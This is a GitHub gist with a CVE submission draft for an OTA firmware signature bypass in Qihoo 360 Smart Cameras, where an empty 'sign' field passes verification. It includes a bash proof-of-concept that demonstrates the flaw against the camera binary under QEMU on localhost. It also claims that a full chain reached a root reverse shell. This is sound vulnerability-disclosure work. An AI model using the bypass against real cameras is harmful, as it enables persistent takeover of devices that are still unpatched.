Skip to content

Instantly share code, notes, and snippets.

@gajgdm6-cpu
Last active October 10, 2026 13:14
Show Gist options
  • Select an option

  • Save gajgdm6-cpu/cf98af20ddb77f27a7c112214a6280f7 to your computer and use it in GitHub Desktop.

Select an option

Save gajgdm6-cpu/cf98af20ddb77f27a7c112214a6280f7 to your computer and use it in GitHub Desktop.
360 Smart Camera - OTA firmware signature bypass (CWE-347)

CVE 申请 #1 — 360 智能摄像机 OTA 固件签名校验绕过(未签名固件刷写)

通道:VulDB(首选) / MITRE(备选)

Field Value
Vendor 360 (Qihoo 360)
Product 360 Smart Camera (IPC)
Component fs2/bin/iscm — verify_sign / upgrade_thread / upgrade_burn_firmware
Affected versions 6.0.24 ~ 6.4.9 (all obtained versions, including latest firmware)
Fixed version None — unfixed in 6.4.9
Affected models D621-2 / D603-2 / D600-2 / D619 / D606-6 / D706 (MIPS · Ingenic JZ series)
Vulnerability type CWE-347 Improper Verification of Cryptographic Signature
CVSS 3.1 7.5 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Requester (报送时填写)
Email (报送时填写)
Vendor notified security@360.cn on 2026-10-06 — vendor replied instructing submission via their SRC platform
Discovery Firmware reverse engineering (full disassembly) + QEMU user-mode dynamic reproduction — no real device, no internet
Disclosure Coordinated — request embargo until vendor fixes (or 90 days)

VulDB CVE Summary(按 CNA 格式,可直接粘贴到 Summary 字段)

A vulnerability was found in Qihoo 360 Smart Camera (IPC) firmware up to 6.4.9. It has been rated as high. This vulnerability affects the function verify_sign of the file fs2/bin/iscm. The manipulation of the argument sign with an empty string leads to improper verification of a cryptographic signature (CWE-347). It is possible to launch the attack remotely from a network position. This vulnerability may be used by attackers to flash unsigned firmware and achieve persistent code execution on the affected device.

Description

verify_sign() returns 0 (interpreted by the caller as "signature valid") whenever the signature string is empty:

/* verify_sign(path, md5_expected, sign) — 6.3.2 @0x44768c / 6.4.9 @0x450d50 */
if (sign[0] == '\0') return 0;      /* empty signature == "verified" */
... base64_dec → RSA_public_decrypt → md5 + sha384 compare ...

In the cloud/App push command firmwareUpgrade, the handler performs only an existence check on the sign JSON field (json_object_object_get(obj,"sign") → non-NULL when the key is present). Supplying "sign": "" (present but empty) therefore passes the check, and the empty string reaches verify_sign, which returns 0 ⇒ the unsigned firmware image is accepted.

Impact

  • The unsigned image is downloaded and flashed via system("burn_helper /tmp/FIRMWARE.bin &") into the MTD partition, then the device reboots.
  • iscm runs as root (started from /system_rw/rc.local) ⇒ persistent root RCE that survives reboot/power-cycle.
  • The full chain was reproduced end-to-end under QEMU: unsigned "firmware" accepted → written to the boot-execution point → executes after reboot → reverse shell established.
  • Bypasses the entire RSA-2048 + base64 + md5/sha384 verification chain.

Attack vector

AV:N/AC:H — the firmwareUpgrade command is delivered over the cloud/App push channel (plaintext HTTP); a network MITM position, or control of the push channel, is required. No LAN unauthenticated entry point exists (iscm has a single recvfrom in a closed P2P stack; xnet_pipecmd binds 127.0.0.1).

References

None public (no vendor advisory yet). Local audit chain + PoC available on request.

Evidence (local)

File Content
evidence/V3_gdb_verify_sign_双重验证.txt Direct verify_sign call: empty → 0 ("valid"); non-empty invalid → -1
evidence/V3_完整流程日志_sign为空.log End-to-end: Camera begin update → download → before/after call burn_helper
evidence/V3_完整流程日志_对照组非法签名.log Control group: RSA length mismatch, burn_helper not called
evidence/V5_RCE证明_未签名固件执行.txt RCE proof produced after reboot by the unsigned firmware
evidence/V5_反弹shell会话_未签名固件链.txt Reverse shell session (device version string confirmed)
#!/bin/bash
# ============================================================
# 360 智能摄像机 OTA 固件签名校验绕过 —— 录屏演示脚本
# 用法: bash repro_OTA_signbypass.sh (对着这个终端录)
# 演示:A) sign 空 → 未签名固件进入刷写 B) 对照 sign 非法 → 拒绝
# ============================================================
set -u
R=<FIRMWARE_DIR>
mkdir -p /tmp/www /tmp/fakebin /tmp/z
clean_port(){ kill -9 $(ss -tlnp 2>/dev/null|grep ':18099 '|grep -oP 'pid=\K[0-9]+'|head -1) 2>/dev/null; }
echo "════════ [0] 准备 ════════"
printf 'MARKER-FIRMWARE-ATTACKER-SUPPLIED-0123456789' > /tmp/www/fw.bin
cat > /tmp/fakebin/burn_helper <<'EOF'
#!/bin/sh
{ echo "[PROOF] burn_helper 被调用(未签名固件已通过校验)"
echo "argv1 = $1"
echo "--- 被接受的固件内容(攻击者提供)---"
cat "$1" 2>/dev/null; echo; } > /tmp/z/burn_proof.txt
EOF
chmod +x /tmp/fakebin/burn_helper
clean_port
python3 -m http.server 18099 --bind 127.0.0.1 --directory /tmp/www >/dev/null 2>&1 &
sleep 1
echo " ✓ 固件 + burn_helper(记录器) + HTTP 服务 就绪"
echo ""
echo "════════ [1] 漏洞:sign = 空串 ════════"
python3 - <<'PY'
import hashlib
fw=open('/tmp/www/fw.bin','rb').read(); buf=bytearray(4096)
buf[0:35]=b"http://127.0.0.1:18099/fw.bin"; buf[2048:2053]=b"9.9.9"
buf[2560:2592]=hashlib.md5(fw).hexdigest().encode()
buf[3072]=0 # ★ sign = 空串
open('/tmp/upgrade.info','wb').write(bytes(buf))
print(' sign = "" (空签名)')
PY
rm -f /tmp/z/burn_proof.txt
echo " —— 运行 iscm ——"
cd $R
timeout 12 env PATH=/tmp/fakebin:$PATH qemu-mipsel -L . ./iscm 2>&1 | grep -aE 'md5|burn_helper'
echo " —— burn_helper 收到:——"
cat /tmp/z/burn_proof.txt 2>/dev/null || echo " (未调用)"
echo ""
echo "════════ [2] 对照:sign = INVALID@SIGN!!! ════════"
python3 - <<'PY'
import hashlib
fw=open('/tmp/www/fw.bin','rb').read(); buf=bytearray(4096)
buf[0:35]=b"http://127.0.0.1:18099/fw.bin"; buf[2048:2053]=b"9.9.9"
buf[2560:2592]=hashlib.md5(fw).hexdigest().encode()
buf[3072:3087]=b"INVALID@SIGN!!!"
open('/tmp/upgrade.info','wb').write(bytes(buf))
print(' sign = "INVALID@SIGN!!!"')
PY
rm -f /tmp/z/burn_proof.txt
cd $R
timeout 10 env PATH=/tmp/fakebin:$PATH qemu-mipsel -L . ./iscm 2>&1 | grep -aE 'md5|RSA|burn_helper'
if [ -f /tmp/z/burn_proof.txt ]; then echo " ✗ burn_helper 被调用(异常!)"; else echo " ✓ burn_helper 未被调用 = 正确拒绝"; fi
echo ""
echo "════════ 结论 ════════"
echo " sign 空 → 未签名固件进入刷写(bypass)"
echo " sign 非法 → RSA length mismatch(正确拒绝)"
echo " 漏洞: verify_sign 空签名 return 0;6.0.24~6.4.9 全版本未修复"
echo " 前置: 推送通道(同网 MITM)"
clean_port
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment